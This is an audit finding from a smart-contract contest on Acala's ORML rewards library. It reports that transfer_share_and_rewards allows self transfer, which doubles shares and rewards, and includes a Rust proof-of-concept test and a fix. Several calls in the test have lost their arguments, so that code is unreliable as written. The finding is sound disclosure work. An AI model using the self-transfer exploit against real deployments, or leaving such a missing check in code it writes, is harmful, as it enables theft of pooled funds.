Audit finding: transfer_share_and_rewards allows for self transfer
Project: Acala
Auditor: Code4Arena
Location: src/orml/rewards/src/lib.rs:326
Impact: High
Vulnerability class (Scout): Business Logic
Status: Fixed by [this PR](https://github.com/open-web3-stack/open-runtime-module-library/pull/990). Just want to highlight that transfer_share_and_rewards is not currently used.

[H-01] transfer_share_and_rewards allows for self transfer
Submitted by ZanyBonzy, also found by ihtishamsudo
The rewards library holds the transfer_share_and_rewards allows for self transfer which can be used to double shares and rewards. Important to note that the function, for now is not in use by the in-scope contracts. However, I still believe it’s worth pointing out.
Proof of Concept
Copy and paste the below test into tests.rs. It shows how users Alice and Bob, by invoking this function, can increase their share/rewards balance.
fn transfer_to_self() {
  ExtBuilder::default().build().execute_with(|| {
    // Open a pool with bob holding 100 shares in the pool
    RewardsModule::add_share(&BOB, &DOT_POOL);
    // Accumulate rewards
    assert_ok!(RewardsModule::accumulate_reward);
    // Alice deposits into the pool and gets shares
    RewardsModule::add_share(&ALICE, &DOT_POOL);
    // Assert that rewards still exist
    assert_ok!(RewardsModule::accumulate_reward);
    // Gets pools info
    let pool_info = RewardsModule::pool_infos;
    // Ensures that reward transfer doesn't affect pool
    let new_pool_info = RewardsModule::pool_infos;
    assert_eq!(pool_info, new_pool_info, "reward transfer does not affect the pool");
    // Assert that Alice's share/rewards transfer to self succeeds
    assert_ok!(RewardsModule::transfer_share_and_rewards);
    // Assert that Alice's share/reward balance has now increased
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (190, vec![(NATIVE_COIN, 190)].into_iter));
    // Alice has discovered infinite money glitch? She tries again...
    assert_ok!(RewardsModule::transfer_share_and_rewards);
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (370, vec![(NATIVE_COIN, 370)].into_iter));
    // She transfers some of her shares/rewards to Bob
    assert_ok!(RewardsModule::transfer_share_and_rewards);
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (300, vec![(NATIVE_COIN, 300)].into_iter));
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (170, vec![(NATIVE_COIN, 70)].into_iter));
    // Bob decides to try it out himself
    assert_ok!(RewardsModule::transfer_share_and_rewards);
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (270, vec![(NATIVE_COIN, 111)].into_iter));
    assert_ok!(RewardsModule::transfer_share_and_rewards);
    assert_eq!(RewardsModule::shares_and_withdrawn_rewards, (370, vec![(NATIVE_COIN, 152)].into_iter));
  });
}
Recommended Mitigation Steps
Include a check in the function that returns if who == other.
Lambda (judge) increased severity to High.
xlc (Acala) confirmed and commented:
Fixed by this PR. Just want to highlight that transfer_share_and_rewards is not currently used.

Summary: The transfer_share_and_rewards function allows self-transfer, enabling users to double their shares and rewards, posing a high-severity risk.